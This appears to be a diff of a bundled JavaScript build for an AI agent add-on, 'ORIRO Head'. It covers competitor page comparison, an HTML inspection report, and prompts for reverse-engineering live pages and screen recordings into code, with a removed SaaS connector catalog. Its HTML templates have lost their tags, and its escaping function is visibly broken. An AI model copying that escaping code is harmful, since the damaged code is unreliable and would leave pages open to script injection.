gaps.missing.filter((m) => m.priority === "HIGH").map((m) => m.label); + const parts = []; + parts.push(`${tName} has ${target.sections.length} detectable sections; compared against ${okComps.length} page(s).`); + if (gaps.missing.length === 0) { + parts.push("No structural gaps found \u2014 you cover everything they do."); + } else { + parts.push(`${gaps.missing.length} gap(s) found.`); + if (crit.length) parts.push(`Critical: ${crit.join(", ")}.`); + if (high.length) parts.push(`High: ${high.join(", ")}.`); + } + if (gaps.advantages.length) parts.push(`Your edge: ${gaps.advantages.map((a) => a.label).join(", ")}.`); + return parts.join(" "); +} +function normalizeUrl(u) { + const t = (u || "").trim(); + if (!t) return t; + return /^https?:\/\//i.test(t) ? t : `https://${t}`; +} +async function comparePages(opts) { + const targetUrl = normalizeUrl(opts.targetUrl); + const competitorUrls = (opts.competitorUrls ?? []).map(normalizeUrl).filter((u) => u.length > 0).slice(0, 30); + const [targetFetch, ...compFetches] = await Promise.all([ + fetchPage(targetUrl), + ...competitorUrls.map((u) => fetchPage(u)) + ]); + const target = extractStructure(targetUrl, targetFetch ?? { html: "", ms: 0, status: 0, ok: false, error: "no fetch" }); + const competitors = competitorUrls.map( + (u, i) => extractStructure(u, compFetches[i] ?? { html: "", ms: 0, status: 0, ok: false, error: "no fetch" }) + ); + const gaps = analyzeGaps(target, competitors); + return { + target, + competitors, + missing: gaps.missing, + advantages: gaps.advantages, + parity: gaps.parity, + actionItems: generateActionItems(gaps.missing), + summary: generateSummary(target, competitors, gaps) + }; +} + +// src/head/run.ts +import { writeFile } from "fs/promises"; +import { join as join21 } from "path"; + +// src/head/inspection-html.ts +var PRIORITY_COLOR = { + CRITICAL: "#f43f5e", + // rose + HIGH: "#f59e0b", + // amber + MEDIUM: "#0ea5e9", + // sky + LOW: "#64748b" + // slate +}; +var SECTION_ORDER = [ + "navigation", + "hero", + "socialProof", + "stats", + "features", + "demo", + "video", + "integrations", + "comparison", + "pricing", + "testimonials", + "faq", + "newsletter", + "cta", + "team" +]; +function esc(s) { + return (s || "").replace(/&/g, "&").replace(//g, ">").replace(/"/g, """).replace(/'/g, "'"); +} +function hostOf2(url) { + try { + return new URL(url).host.replace(/^www\./, ""); + } catch { + return url; + } +} +function pathOf(url) { + try { + const u = new URL(url); + return (u.pathname || "/") + (u.search || ""); + } catch { + return url; + } +} +function orderedSections(sections) { + return [...sections].sort((a, b) => { + const ia = SECTION_ORDER.indexOf(a.type); + const ib = SECTION_ORDER.indexOf(b.type); + return (ia < 0 ? 99 : ia) - (ib < 0 ? 99 : ib); + }); +} +function sectionBlock(s) { + const color = PRIORITY_COLOR[s.priority]; + return ` +
+
+ + ${esc(s.label)} + ${esc(s.priority)} +
+ ${esc(s.evidence)} +
`; +} +function pageCard(p, isTarget) { + const statusOk = p.ok && p.metrics.status >= 200 && p.metrics.status < 400; + const badge = statusOk ? `${p.metrics.status || 200} OK` : `${p.metrics.status || "FAILED"}`; + const blocks = p.sections.length ? orderedSections(p.sections).map(sectionBlock).join("") : `
No sections detected${p.note ? "" : " (sparse / client-rendered?)"}
`; + const kb = Math.round(p.metrics.htmlBytes / 1024); + return ` +
+
+ + ${esc(hostOf2(p.url))}${esc(pathOf(p.url))} + ${badge} +
+ ${isTarget ? '
YOUR PAGE
' : ""} +
${esc(p.title || "(untitled)")}
+
${blocks}
+
+ H ${p.headings.length} + CTA ${p.ctas.length} + \u21A9 ${p.metrics ? p.links : 0} + \u25A6 ${p.images} + ${p.hasVideo ? "\u25B6 video" : "\u25B7 no video"} + ${kb} KB + ${p.metrics.domNodes} nodes + ${p.metrics.fetchMs} ms +
+ ${p.note ? `
\u26A0 ${esc(p.note)}
` : ""} +
`; +} +function gapsPanel(report) { + if (!report.missing.length && !report.advantages.length) return ""; + const missing = report.missing.map((g) => { + const color = PRIORITY_COLOR[g.priority]; + return `
  • ${esc(g.label)} + ${esc(g.priority)} +
    ${esc(g.recommendation)}
    +
    on: ${g.presentOn.map((u) => esc(hostOf2(u))).join(", ")}
  • `; + }).join(""); + const adv = report.advantages.map((s) => `${esc(s.label)}`).join(""); + return ` +
    + ${report.missing.length ? `

    Missing from your page

      ${missing}
    ` : ""} + ${report.advantages.length ? `

    Your advantages

    ${adv}
    ` : ""} +
    `; +} +function buildInspectionHtml(report) { + const pages = [report.target, ...report.competitors]; + const ok2 = pages.filter((p) => p.ok).length; + const cards = pages.map((p, i) => pageCard(p, i === 0)).join(""); + return ` + +ORIRO Inspector \u2014 what it saw + + +

    ORIRO Inspector

    what the head saw \u2014 ${ok2}/${pages.length} pages crawled
    +
    ${esc(report.summary)}
    +
    ${cards}
    + ${gapsPanel(report)} +
    ORIRO Inspector \xB7 structural read (server-side HTML) \xB7 each block = a section the head detected, coloured by priority.
    +`; +} + +// src/head/media.ts +var IMAGE_MIME_BY_SUFFIX = Object.freeze({ + ".png": "image/png", + ".jpg": "image/jpeg", + ".jpeg": "image/jpeg", + ".gif": "image/gif", + ".bmp": "image/bmp", + ".tif": "image/tiff", + ".tiff": "image/tiff", + ".webp": "image/webp", + ".ico": "image/x-icon", + ".heic": "image/heic", + ".heif": "image/heif", + ".avif": "image/avif" +}); +var VIDEO_MIME_BY_SUFFIX = Object.freeze({ + ".mp4": "video/mp4", + ".mpg": "video/mpeg", + ".mpeg": "video/mpeg", + ".mkv": "video/x-matroska", + ".avi": "video/x-msvideo", + ".mov": "video/quicktime", + ".ogv": "video/ogg", + ".wmv": "video/x-ms-wmv", + ".webm": "video/webm", + ".m4v": "video/x-m4v", + ".flv": "video/x-flv", + ".3gp": "video/3gpp", + ".3g2": "video/3gpp2" +}); +function suffixOf(nameOrPath) { + const base = (nameOrPath || "").split(/[\\/]/).pop() ?? ""; + const i = base.lastIndexOf("."); + return i < 0 ? "" : base.slice(i).toLowerCase(); +} +function sniff(head) { + if (!head || head.length < 12) return null; + const b = (i) => head[i] ?? -1; + if (b(0) === 26 && b(1) === 69 && b(2) === 223 && b(3) === 163) return { kind: "video", mimeType: "video/webm" }; + if (b(4) === 102 && b(5) === 116 && b(6) === 121 && b(7) === 112) return { kind: "video", mimeType: "video/mp4" }; + if (b(0) === 137 && b(1) === 80 && b(2) === 78 && b(3) === 71) return { kind: "image", mimeType: "image/png" }; + if (b(0) === 255 && b(1) === 216 && b(2) === 255) return { kind: "image", mimeType: "image/jpeg" }; + if (b(0) === 71 && b(1) === 73 && b(2) === 70) return { kind: "image", mimeType: "image/gif" }; + return null; +} +function detectMediaType(nameOrPath, head) { + const sniffed = sniff(head); + if (sniffed) return sniffed; + const suf = suffixOf(nameOrPath); + const v = VIDEO_MIME_BY_SUFFIX[suf]; + if (v) return { kind: "video", mimeType: v }; + const img = IMAGE_MIME_BY_SUFFIX[suf]; + if (img) return { kind: "image", mimeType: img }; + return { kind: "unknown", mimeType: "application/octet-stream" }; +} + +// src/head/video-to-code.ts +var WATCH_PROMPT = `You are watching a screen recording of a web UI. Produce a precise, build-ready SPECIFICATION to reconstruct it exactly \u2014 another engineer must rebuild it from your spec alone. Cover, in order: +1. Overall layout & structure (header/nav, hero, content sections in order, footer). +2. Each section: its components, exact text/copy, and visual hierarchy. +3. Styling: colors (hex if discernible), typography (family/weight/scale), spacing, radius, shadows. +4. Behavior visible across the recording: hover/focus states, scroll reveals, modals, carousels, tabs, animations, transitions \u2014 note the trigger and the effect. +5. Responsive behavior if the recording shows resizing. +Be concrete and exhaustive. Output a structured spec, not prose.`; +var CODE_PROMPT_PREFIX = `You are an expert front-end engineer. Build COMPLETE, working, production-quality code that reproduces the following UI specification EXACTLY \u2014 correct layout, components, copy, colors, typography, spacing, and the described interactions. No placeholders, no TODOs, no "...". Return ONLY the code.`; +async function videoToCode(input, models, opts = {}) { + if (!input.videoPath && !(input.frames && input.frames.length)) { + throw new Error("videoToCode needs input.videoPath or input.frames."); + } + const mimeType = input.mimeType ?? (input.videoPath ? detectMediaType(input.videoPath).mimeType : void 0); + const watchPrompt = `${opts.watchPrompt ?? WATCH_PROMPT}${input.goal ? ` + +User goal: ${input.goal}` : ""}`; + const spec = (await models.watch({ videoPath: input.videoPath, frames: input.frames, mimeType, prompt: watchPrompt })).trim(); + const stack = input.stack ?? "a single self-contained HTML file with inline CSS + vanilla JS (no build step)"; + const codePrompt = `${opts.codePromptPrefix ?? CODE_PROMPT_PREFIX} + +Target stack: ${stack} + +=== UI SPECIFICATION === +${spec}`; + const code = (await models.code(codePrompt)).trim(); + return { spec, code }; +} +var REVERSE_PROMPT = `You are an expert front-end engineer. Below is the captured RENDERED HTML of a live web page (optionally with visual notes from a screenshot). REVERSE-ENGINEER it into CLEAN, COMPLETE, PRODUCTION-QUALITY, RUNNABLE code that a developer can PASTE AND BUILD with no edits. + +Requirements: +\u2022 Reproduce the page EXACTLY: every meaningful section/component in order, the real text/copy, layout, and visual design \u2014 colors as hex, typography (family/weight/size), spacing, radius, shadows, borders. +\u2022 Strip tracking/ads/analytics/third-party cruft and dead markup; keep the real content. +\u2022 Output COMPLETE file(s) for the target stack: include EVERY import, the entry/mount point (e.g. ReactDOM render / index), all components, and all styles. If multiple files are needed, emit each prefixed with a "// FILE: " header so it can be split out. +\u2022 Use the REAL extracted content/data (titles, labels, links, values) \u2014 never lorem ipsum or dummy data. +\u2022 NO placeholders, NO TODOs, NO "...", NO truncation, NO commentary or explanation. Every component fully implemented and wired. +\u2022 It must be immediately runnable and visually faithful. +Return ONLY the code.`; +var SCREENSHOT_DESC_PROMPT = `Describe this screenshot of a web page for FAITHFUL pixel-level reconstruction. Be concrete and exhaustive: overall layout & grid, each section top\u2192bottom, every component, exact colors (hex if discernible), typography (family/weight/size/line-height), spacing/padding/margins, border radius, shadows, alignment, and any icons/imagery. This description will be used to rebuild the page, so omit nothing visually significant.`; +async function htmlToCode(input, models) { + if (!input.html || !input.html.trim()) throw new Error("htmlToCode needs input.html."); + let visualNotes = ""; + if (input.screenshot && models.watch) { + visualNotes = (await models.watch({ frames: [input.screenshot], mimeType: "image/png", prompt: SCREENSHOT_DESC_PROMPT })).trim(); + } + const stack = input.stack ?? "a single clean self-contained HTML file with inline CSS (no build step)"; + const prompt = `${REVERSE_PROMPT} + +Target stack: ${stack}${input.goal ? ` +Goal: ${input.goal}` : ""}${visualNotes ? ` + +=== VISUAL (from screenshot) === +${visualNotes}` : ""} + +=== CAPTURED HTML === +${input.html}`; + const code = (await models.code(prompt)).trim(); + return { code, visualNotes: visualNotes || void 0 }; +} +async function urlToCode(url, models, opts = {}) { + const { captureScreens: captureScreens2 } = await Promise.resolve().then(() => (init_screenshot_flow(), screenshot_flow_exports)); + const caps = await captureScreens2([url], { viewport: opts.viewport }); + const cap = caps[0]; + if (!cap || !cap.ok || !cap.html) { + throw new Error(`urlToCode: could not capture ${url}${cap?.note ? ` (${cap.note})` : ""}.`); + } + const { code } = await htmlToCode( + { html: cap.html, screenshot: cap.png ?? void 0, goal: opts.goal, stack: opts.stack }, + models + ); + return { url, html: cap.html, screenshot: cap.png, code }; +} +var SPEC_YAML_PROMPT = `You are a senior front-end engineer reverse-engineering a live web page so ANOTHER engineer can rebuild it from your spec ALONE. Below is the page's captured RENDERED HTML (optionally with visual notes from a screenshot). Strip tracking/ads/analytics/dead markup; keep the meaningful structure. Output a precise, exhaustive, build-ready spec as VALID YAML ONLY \u2014 no prose, no markdown, no code fences. Use exactly this top-level schema: +page: # url, title, purpose (one line: what this page is for) +design_tokens: # colors: {name: hex}; typography: {fontFamily, weights, scale}; spacing; radius; shadows +layout: # ordered list of regions top\u2192bottom; each: {region, role, components: [names]} +components: # reusable components; each: {name, description, structure (element tree), styling (key css/classes), content_example} +data_model: # entities the page renders; each: {entity, fields: [..]} +interactions: # list of {trigger, effect} +responsive: # notable breakpoints/behavior +build_notes: # how to assemble it, stack-agnostic +Be concrete (real colors as hex, real copy, real fields). Output ONLY YAML.`; +async function htmlToSpec(input, models) { + if (!input.html || !input.html.trim()) throw new Error("htmlToSpec needs input.html."); + let visualNotes = ""; + if (input.screenshot && models.watch) { + visualNotes = (await models.watch({ frames: [input.screenshot], mimeType: "image/png", prompt: SCREENSHOT_DESC_PROMPT })).trim(); + } + const prompt = `${SPEC_YAML_PROMPT}${input.goal ? ` +Goal: ${input.goal}` : ""}${visualNotes ? ` + +=== VISUAL (from screenshot) === +${visualNotes}` : ""} + +=== CAPTURED HTML === +${input.html}`; + let spec = (await models.code(prompt)).trim(); + spec = spec.replace(/^```ya?ml\s*\n?/i, "").replace(/\n?```\s*$/i, "").trim(); + return { spec, visualNotes: visualNotes || void 0 }; +} +async function urlToSpec(url, models, opts = {}) { + const { captureScreens: captureScreens2 } = await Promise.resolve().then(() => (init_screenshot_flow(), screenshot_flow_exports)); + const caps = await captureScreens2([url], { viewport: opts.viewport }); + const cap = caps[0]; + if (!cap || !cap.ok || !cap.html) { + throw new Error(`urlToSpec: could not capture ${url}${cap?.note ? ` (${cap.note})` : ""}.`); + } + const { spec } = await htmlToSpec( + { html: cap.html, screenshot: cap.png ?? void 0, goal: opts.goal }, + models + ); + return { url, html: cap.html, screenshot: cap.png, spec }; +} +async function extractFrames(videoPath, opts = {}) { + const [{ spawn: spawn4 }, os, path, fs] = await Promise.all([ + import("child_process"), + import("os"), + import("path"), + import("fs/promises") + ]); + const count = opts.count ?? 8; + const ffmpeg = opts.ffmpegPath ?? "ffmpeg"; + const dir = await fs.mkdtemp(path.join(os.tmpdir(), "oriro-head-frames-")); + const pattern = path.join(dir, "f-%03d.png"); + await new Promise((resolve3, reject) => { + const p = spawn4(ffmpeg, ["-hide_banner", "-loglevel", "error", "-i", videoPath, "-vf", "thumbnail", "-frames:v", String(count), "-y", pattern], { stdio: "ignore" }); + p.on("error", () => reject(new Error("ffmpeg not found \u2014 pass frames yourself or a video-capable model, or set ffmpegPath."))); + p.on("close", (code) => code === 0 ? resolve3() : reject(new Error(`ffmpeg exited ${code}`))); + }); + const files = (await fs.readdir(dir)).filter((f) => f.endsWith(".png")).sort(); + const frames = []; + for (const f of files.slice(0, count)) frames.push(new Uint8Array(await fs.readFile(path.join(dir, f)))); + return frames; +} + +// src/head/model.ts +import { register as registerOpenAICompletions2 } from "@earendil-works/pi-ai/openai-completions"; + +// src/routers/keyless-complete.ts +import { complete } from "@earendil-works/pi-ai"; +async function completeViaRouter(router, context, maxTokens = 1024) { + const reply = await complete(routerModel(router), context, { + apiKey: router.apiKey, + maxTokens + }); + if (reply.stopReason === "error") { + const msg = reply.errorMessage ?? "router error"; + const err = new Error(msg); + if (/\b429\b|rate.?limit|too many requests/i.test(msg)) err.status = 429; + throw err; + } + const text = reply.content.filter((c) => c.type === "text").map((c) => c.text).join(""); + if (!text.trim()) throw new Error("empty completion"); + return text; +} + +// src/head/model.ts +var HEAD_CODER_SYSTEM = "You are ORIRO Head's senior front-end engineer. Reproduce UIs faithfully and output exactly what the instruction asks for (clean, working code or a structured spec). No preamble."; +function buildHeadCoderModel(routers = KEYLESS_FLOOR) { + registerOpenAICompletions2(); + const byId = new Map(routers.map((r) => [r.id, r])); + const mux = new RouterMux(routers.map((r) => r.id)); + return async (prompt) => { + const context = { + systemPrompt: HEAD_CODER_SYSTEM, + messages: [{ role: "user", content: prompt, timestamp: Date.now() }] + }; + const { result } = await mux.run(async (id) => { + const r = byId.get(id); + if (!r) throw new Error(`unknown router ${id}`); + return completeViaRouter(r, context, 8192); + }); + return result; + }; +} +function headModels(routers = KEYLESS_FLOOR) { + return { code: buildHeadCoderModel(routers) }; +} +var HEAD_WATCH_SYSTEM = "You are ORIRO Head's UI analyst. From the described/attached media, produce a precise, build-ready specification of the interface. Be concrete and exhaustive. No preamble."; +function buildHeadWatchModel(routers = KEYLESS_FLOOR) { + registerOpenAICompletions2(); + const byId = new Map(routers.map((r) => [r.id, r])); + const mux = new RouterMux(routers.map((r) => r.id)); + return async ({ prompt }) => { + const context = { + systemPrompt: HEAD_WATCH_SYSTEM, + messages: [{ role: "user", content: prompt, timestamp: Date.now() }] + }; + const { result } = await mux.run(async (id) => { + const r = byId.get(id); + if (!r) throw new Error(`unknown router ${id}`); + return completeViaRouter(r, context, 8192); + }); + return result; + }; +} +function headVideoModels(routers = KEYLESS_FLOOR) { + return { watch: buildHeadWatchModel(routers), code: buildHeadCoderModel(routers) }; +} + +// src/head/intent.ts +var TRIGGERS = [ + /\bgo (and )?(look|check|see|visit|inspect)\b/i, + /\binspect\b/i, + /\bcompare\b/i, + /\bvs\.?\b/i, + /\bgap analysis\b/i, + /\bcompetitive analysis\b/i, + /\bwhat (do|does) .* have that we (don'?t|do not|lack)\b/i, + /\b(build|make) .* like .+'s\b/i, + // "build a pricing page like stripe's" + /\blook at (this )?(url|site|page|https?:\/\/)/i +]; +var SELF = /\b(us|our|ours|my|mine|this (site|page|app))\b/i; +var SHOTS = /\bscreenshots?\b|\bshow me\b|--shots\b|\bvisual(s|ly)?\b/i; +var URL_RE = /\b((?:https?:\/\/)?(?:[a-z0-9-]+\.)+[a-z]{2,}(?:\/[^\s)]*)?)\b/gi; +function normalize(u) { + const t = u.replace(/[).,;]+$/, "").trim(); + if (!t) return ""; + return /^https?:\/\//i.test(t) ? t : `https://${t}`; +} +function extractUrls(text) { + const seen = /* @__PURE__ */ new Set(); + for (const m of text.matchAll(URL_RE)) { + const u = normalize(m[1] ?? ""); + if (u && /\.[a-z]{2,}/i.test(u)) seen.add(u); + } + return [...seen]; +} +function detectInspectIntent(text) { + const urls = extractUrls(text); + const phraseHit = TRIGGERS.some((re) => re.test(text)); + const isInspect = phraseHit || urls.length >= 2; + const targetIsSelf = SELF.test(text); + const wantsShots = SHOTS.test(text); + if (!isInspect || urls.length === 0) { + return { isInspect: isInspect && urls.length > 0, targetIsSelf, competitors: [], wantsShots }; + } + if (targetIsSelf) { + return { isInspect: true, targetIsSelf: true, competitors: urls, wantsShots }; + } + const [target, ...competitors] = urls; + return { isInspect: true, targetIsSelf: false, target, competitors, wantsShots }; +} + +// src/head/run.ts +function hostSlug(url) { + try { + return new URL(/^https?:\/\//i.test(url) ? url : `https://${url}`).host.replace(/^www\./, "").replace(/[^a-z0-9.-]/gi, "_"); + } catch { + return "site"; + } +} +function extForStack(stack) { + const s = (stack ?? "").toLowerCase(); + if (/\btsx?\b|react|next/.test(s)) return s.includes("ts") ? ".tsx" : ".jsx"; + if (/\bvue\b/.test(s)) return ".vue"; + if (/\bsvelte\b/.test(s)) return ".svelte"; + return ".html"; +} +function summarizeReport(report) { + const lines = [report.summary]; + const page = (p) => ` \u2022 ${p.url} \u2014 ${p.ok ? `${p.sections.length} sections: ${p.sections.map((s) => s.type).join(", ")}` : `not readable (${p.note})`}`; + lines.push("Pages seen:"); + lines.push(page(report.target)); + for (const c of report.competitors) if (c.url !== report.target.url) lines.push(page(c)); + if (report.missing.length) { + lines.push("Missing on the target (gaps to build):"); + for (const g of report.missing.slice(0, 12)) lines.push(` \u2022 ${g.label} (${g.priority}) \u2014 ${g.recommendation}`); + } + if (report.actionItems.length) { + lines.push("Suggested action items:"); + for (const a of report.actionItems.slice(0, 12)) lines.push(` \u2192 ${a.title} [${a.priority}/${a.effort}] \u2014 ${a.rationale}`); + } + return lines.join("\n"); +} +async function runInspect(target, competitors, opts = {}) { + const report = await comparePages({ targetUrl: target, competitorUrls: competitors.length ? competitors : [target] }); + const files = []; + if (opts.html) { + const path = join21(opts.outDir ?? process.cwd(), `oriro-head-${hostSlug(target)}-inspect.html`); + await writeFile(path, buildInspectionHtml(report), "utf8"); + files.push(path); + } + return { summary: summarizeReport(report), files, report }; +} +function parseHeadTargets(text, selfOrigin) { + const intent = detectInspectIntent(text); + if (intent.targetIsSelf) return { target: selfOrigin ?? null, competitors: intent.competitors }; + if (intent.target) return { target: intent.target, competitors: intent.competitors }; + const urls = extractUrls(text); + return { target: urls[0] ?? null, competitors: urls.slice(1) }; +} +async function runUrlToCode(url, opts = {}) { + try { + const res = await urlToCode(url, headModels(), { goal: opts.goal, stack: opts.stack }); + const codePath = join21(opts.outDir ?? process.cwd(), `oriro-head-${hostSlug(url)}${extForStack(opts.stack)}`); + await writeFile(codePath, res.code, "utf8"); + return { summary: `Reverse-engineered ${url} into clean code (${res.code.length} chars) \u2192 ${codePath}`, files: [codePath] }; + } catch (e) { + return { summary: headCaptureError("url\u2192code", e), files: [] }; + } +} +async function runUrlToSpec(url, opts = {}) { + try { + const res = await urlToSpec(url, headModels(), { goal: opts.goal }); + const specPath = join21(opts.outDir ?? process.cwd(), `oriro-head-${hostSlug(url)}.spec.yaml`); + await writeFile(specPath, res.spec, "utf8"); + return { summary: `Reverse-engineered ${url} into a YAML build spec \u2192 ${specPath}`, files: [specPath] }; + } catch (e) { + return { summary: headCaptureError("url\u2192spec", e), files: [] }; + } +} +async function runCapture(urls, opts = {}) { + try { + const { captureScreens: captureScreens2, buildScreenshotFlowHtml: buildScreenshotFlowHtml2 } = await Promise.resolve().then(() => (init_screenshot_flow(), screenshot_flow_exports)); + const caps = await captureScreens2(urls, { video: opts.video }); + const html = buildScreenshotFlowHtml2([{ name: "Captured screens", captures: caps }]); + const flowPath = join21(opts.outDir ?? process.cwd(), "oriro-head-flow.html"); + await writeFile(flowPath, html, "utf8"); + const ok2 = caps.filter((c) => c.ok).length; + return { summary: `Captured ${ok2}/${caps.length} full-page screenshots \u2192 ${flowPath}`, files: [flowPath] }; + } catch (e) { + return { summary: headCaptureError("screenshots", e), files: [] }; + } +} +async function runVideoToCode(videoPath, opts = {}) { + try { + const mime = detectMediaType(videoPath).mimeType; + let frames; + try { + frames = await extractFrames(videoPath, { count: 8 }); + } catch { + frames = void 0; + } + const res = await videoToCode( + { videoPath, frames, mimeType: mime, goal: opts.goal, stack: opts.stack }, + headVideoModels() + ); + const codePath = join21(opts.outDir ?? process.cwd(), `oriro-head-video${extForStack(opts.stack)}`); + await writeFile(codePath, res.code, "utf8"); + return { summary: `Watched ${videoPath} \u2192 built code (${res.code.length} chars) \u2192 ${codePath} +(experimental on the free floor \u2014 add a vision-capable router for pixel-faithful results.)`, files: [codePath] }; + } catch (e) { + return { summary: `video\u2192code failed: ${e instanceof Error ? e.message : String(e)}. This flow needs a readable video and gives best results with a vision-capable router.`, files: [] }; + } +} +function headCaptureError(op, e) { + const msg = e instanceof Error ? e.message : String(e); + if (/playwright/i.test(msg)) { + return `${op} needs the Chromium browser. Install it once: + npm i playwright && npx playwright install chromium +Then retry. (The structural read \`oriro head \` needs no browser.)`; + } + return `${op} failed: ${msg}`; +} + +// src/head/pi-tool.ts +var InspectSiteParams = Type2.Object({ + url: Type2.String({ description: "The target website URL to inspect or rebuild from." }), + competitors: Type2.Optional( + Type2.Array(Type2.String(), { description: "Optional competitor/reference URLs to compare the target against." }) + ) +}); +var UrlParam = Type2.Object({ + url: Type2.String({ description: "The website URL to capture and rebuild." }), + goal: Type2.Optional(Type2.String({ description: "Optional natural-language goal, e.g. 'rebuild the pricing page'." })), + stack: Type2.Optional(Type2.String({ description: "Target stack for the generated code. Default: one self-contained HTML file." })) +}); +var CaptureParams = Type2.Object({ + urls: Type2.Array(Type2.String(), { description: "One or more URLs to screenshot in a real browser." }) +}); +var VideoParams = Type2.Object({ + videoPath: Type2.String({ description: "Path to a screen-recording video to rebuild the UI from." }), + goal: Type2.Optional(Type2.String()), + stack: Type2.Optional(Type2.String()) +}); +function registerHead(pi) { + pi.registerTool({ + name: "inspect_site", + label: "ORIRO Head", + description: "Go out to a live website and SEE it: its sections, CTAs, structure, and any gaps versus competitor URLs. Returns a structured report to build from. Call this whenever the user wants to look at, compare against, or rebuild a website/page.", + parameters: InspectSiteParams, + async execute(_toolCallId, params) { + const competitors = params.competitors?.length ? params.competitors : [params.url]; + const report = await comparePages({ targetUrl: params.url, competitorUrls: competitors }); + return { content: [{ type: "text", text: summarizeReport(report) }], details: report }; } - }, - { - "slug": "shopify", - "name": "Shopify", - "category": "E-commerce", - "authType": "apikey", - "mcpUrl": "", - "description": "Shopify is a leading e-commerce platform. ORIRO connects via its REST + GraphQL Admin API to manage products, orders, customers, and inventory.", - "configSchema": { - "auth": "apikey", - "fields": [ - { - "key": "api_key", - "label": "Shopify API Key", - "type": "password", - "help": "https://shopify.dev/docs/api" - } - ] + }); + pi.registerTool({ + name: "url_to_code", + label: "ORIRO Head \xB7 url\u2192code", + description: "Go to a URL, capture the live rendered page in a real browser, and REVERSE-ENGINEER it into clean, runnable code. Use when the user wants to rebuild/clone a page. Writes the code to a file in the working directory. Needs the `playwright` peer for the browser capture.", + parameters: UrlParam, + async execute(_toolCallId, params) { + const out = await runUrlToCode(params.url, { goal: params.goal, stack: params.stack }); + return { content: [{ type: "text", text: out.summary }], details: { files: out.files } }; } - }, - { - "slug": "woocommerce", - "name": "WooCommerce", - "category": "E-commerce", - "authType": "apikey", - "mcpUrl": "", - "description": "WooCommerce is the WordPress e-commerce plugin powering millions of stores. ORIRO connects via its REST API for products, orders, and customers.", - "configSchema": { - "auth": "apikey", - "fields": [ - { - "key": "api_key", - "label": "WooCommerce API Key", - "type": "password", - "help": "https://woocommerce.github.io/woocommerce-rest-api-docs/" - } - ] + }); + pi.registerTool({ + name: "url_to_spec", + label: "ORIRO Head \xB7 url\u2192spec", + description: "Go to a URL, capture it, and reverse-engineer a precise, stack-agnostic YAML BUILD SPEC (design tokens, layout, component tree, data model, interactions). Use when the user wants a spec to rebuild from rather than a one-shot code dump. Needs the `playwright` peer.", + parameters: UrlParam, + async execute(_toolCallId, params) { + const out = await runUrlToSpec(params.url, { goal: params.goal }); + return { content: [{ type: "text", text: out.summary }], details: { files: out.files } }; } - }, - { - "slug": "mailchimp", - "name": "Mailchimp", - "category": "Marketing", - "authType": "apikey", - "mcpUrl": "", - "description": "Mailchimp is an email-marketing industry standard. ORIRO connects via REST API v3 to manage audiences, campaigns, and automations.", - "configSchema": { - "auth": "apikey", - "fields": [ - { - "key": "api_key", - "label": "Mailchimp API Key", - "type": "password", - "help": "https://mailchimp.com/developer/" - } - ] + }); + pi.registerTool({ + name: "capture_site", + label: "ORIRO Head \xB7 screenshots", + description: "Visit each URL in a real browser and capture full-page screenshots, assembled into one visual flow HTML file. Use when the user wants to SEE pages, not just their structure. Needs the `playwright` peer.", + parameters: CaptureParams, + async execute(_toolCallId, params) { + const out = await runCapture(params.urls); + return { content: [{ type: "text", text: out.summary }], details: { files: out.files } }; } - }, - { - "slug": "sendgrid", - "name": "SendGrid", - "category": "Marketing", - "authType": "apikey", - "mcpUrl": "", - "description": "SendGrid is a transactional and marketing email service used by millions of developers. ORIRO connects via its REST API to send mail and manage templates, contacts, and stats.", - "configSchema": { - "auth": "apikey", - "fields": [ - { - "key": "api_key", - "label": "SendGrid API Key", - "type": "password", - "help": "https://docs.sendgrid.com/api-reference" - } - ] + }); + pi.registerTool({ + name: "video_to_code", + label: "ORIRO Head \xB7 video\u2192code", + description: "Watch a screen-recording video of a UI and build working code from it. Experimental on the free floor (best results with a vision-capable router). Use when the user drops a recording to rebuild.", + parameters: VideoParams, + async execute(_toolCallId, params) { + const out = await runVideoToCode(params.videoPath, { goal: params.goal, stack: params.stack }); + return { content: [{ type: "text", text: out.summary }], details: { files: out.files } }; } - }, - { - "slug": "hubspot", - "name": "HubSpot", - "category": "Marketing", - "authType": "oauth", - "mcpUrl": "https://developers.hubspot.com/mcp", - "description": "HubSpot is a leading CRM and marketing/sales platform. Its official remote MCP server (GA May 2026) works with contacts, companies, deals, tickets, and engagements.", - "configSchema": { - "auth": "oauth", - "fields": [], - "note": "Authorize via HubSpot OAuth \u2014 no keys to paste.", - "docs": "https://developers.hubspot.com/" + }); +} + +// src/orchestrate.ts +import { createAgentSession, AuthStorage, ModelRegistry, SessionManager } from "@earendil-works/pi-coding-agent"; +import { Type as Type3 } from "typebox"; +var MAX_AGENTS = 8; +var MAX_CONCURRENCY = 4; +async function runOnce(spec) { + const authStorage = AuthStorage.inMemory(); + const modelRegistry = ModelRegistry.inMemory(authStorage); + const model = registerOriroMux(modelRegistry); + if (!model) return { ...spec, ok: false, output: "no free model available" }; + const { session } = await createAgentSession({ + model, + authStorage, + modelRegistry, + sessionManager: SessionManager.inMemory(), + noTools: "all" + }); + let out = ""; + const unsub = session.subscribe((e) => { + if (e.type === "message_update" && e.assistantMessageEvent?.type === "text_delta") out += e.assistantMessageEvent.delta ?? ""; + }); + try { + await session.prompt(`You are the ${spec.role} sub-agent. ${spec.task}`); + } catch (e) { + return { ...spec, ok: false, output: e instanceof Error ? e.message : String(e) }; + } finally { + unsub(); + session.dispose(); + } + return { ...spec, ok: out.trim().length > 0, output: out.trim() }; +} +async function runAgent(spec) { + let last = await runOnce(spec); + if (!last.ok) last = await runOnce(spec); + return last; +} +async function runPool(items, n, fn) { + const results = new Array(items.length); + let i = 0; + async function worker() { + while (i < items.length) { + const idx = i++; + const item = items[idx]; + if (item === void 0) continue; + results[idx] = await fn(item); } - }, - { - "slug": "salesforce", - "name": "Salesforce", - "category": "Marketing", - "authType": "oauth", - "mcpUrl": "https://github.com/salesforcecli/mcp", - "description": "Salesforce is the leading enterprise CRM. The official salesforcecli/mcp server (Apache 2.0) exposes 60+ tools with dynamic toolsets for orgs, records, and metadata.", - "configSchema": { - "auth": "oauth", - "fields": [], - "note": "Authorize via Salesforce OAuth \u2014 no keys to paste.", - "docs": "https://developer.salesforce.com/" + } + await Promise.all(Array.from({ length: Math.min(n, items.length) }, () => worker())); + return results; +} +async function orchestrate(opts) { + const agents = opts.agents.slice(0, MAX_AGENTS); + if ((opts.mode ?? "parallel") === "chain") { + const results = []; + let prev = ""; + for (const a of agents) { + const r = await runAgent({ role: a.role, task: prev ? `${a.task} + +Previous result: +${prev}` : a.task }); + results.push(r); + prev = r.output; + } + return results; + } + return runPool(agents, MAX_CONCURRENCY, runAgent); +} +function registerOrchestrator(pi) { + 